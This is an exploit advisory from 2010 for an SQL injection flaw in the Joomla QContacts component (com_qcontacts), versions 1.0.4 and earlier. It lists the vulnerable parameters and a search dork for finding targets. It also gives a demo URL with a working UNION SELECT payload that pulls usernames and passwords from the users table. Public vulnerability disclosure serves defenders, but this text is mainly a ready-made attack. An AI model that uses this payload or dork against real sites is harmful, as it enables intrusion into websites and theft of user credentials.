82 lines
No EOL
2.4 KiB
Text
Executable file
82 lines
No EOL
2.4 KiB
Text
Executable file
# Exploit Title: Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability
|
||
# Date: 12, July 2010
|
||
|
||
# Author: _mlk_
|
||
# Software Link: http://bugsec.googlecode.com/files/Joomla_com_qcontacts.zip
|
||
# Version: 1.0.4 and previous
|
||
# Tested on: all OS
|
||
|
||
# CVE : 0
|
||
|
||
# Code : here
|
||
|
||
Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability
|
||
|
||
#################################################################################################################
|
||
|
||
|
||
[+] Discovered by : _mlk_ (Renan)
|
||
|
||
[+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs
|
||
|
||
[+] Homepages : http://code.google.com/p/bugsec/
|
||
http://botecounix.com.br/blog/
|
||
http://c0d3rs.wordpress.com/
|
||
|
||
[+] Location : Porto Alegre - RS, Brasil
|
||
(or Brazil)
|
||
|
||
#################################################################################################################
|
||
|
||
|
||
[-] Information
|
||
|
||
[?] Script : QContacts
|
||
|
||
[?] FAQ : http://www.latenight-coding.com/joomla-addons/qcontacts.html
|
||
|
||
[?] Versions Tested: 1.0.4 and previous
|
||
|
||
[?] Dork/String : "index.php?option=com_qcontacts" / "com_qcontacts"
|
||
|
||
[?] Date : 12, July 2010
|
||
|
||
|
||
-----------------------------------------------------------------------------------------------------------------
|
||
|
||
|
||
[*] Parameters vuls :
|
||
|
||
Itemid
|
||
id
|
||
catid
|
||
|
||
|
||
-----------------------------------------------------------------------------------------------------------------
|
||
|
||
|
||
[*] Example :
|
||
|
||
http://localhost/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]
|
||
http://localhost/[PATH]/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]
|
||
|
||
|
||
-----------------------------------------------------------------------------------------------------------------
|
||
|
||
|
||
[*] Demo :
|
||
|
||
http://<server>/path/index.php?option=com_qcontacts&view=contact&id=1&Itemid=-541
|
||
+union+select+concat(id,0x3a,name,0x3a,username,0x3a,password)+from+cms01_users--
|
||
|
||
|
||
#################################################################################################################
|
||
|
||
|
||
[~] Agradecimentos :
|
||
|
||
Deus , Familiares , Amigos e Tricolor Ga<47>cho (Gr<47>mio) .
|
||
Em especial "i4k" ( alien \o/ ) .
|
||
|
||
|
||
################################################################################################################# |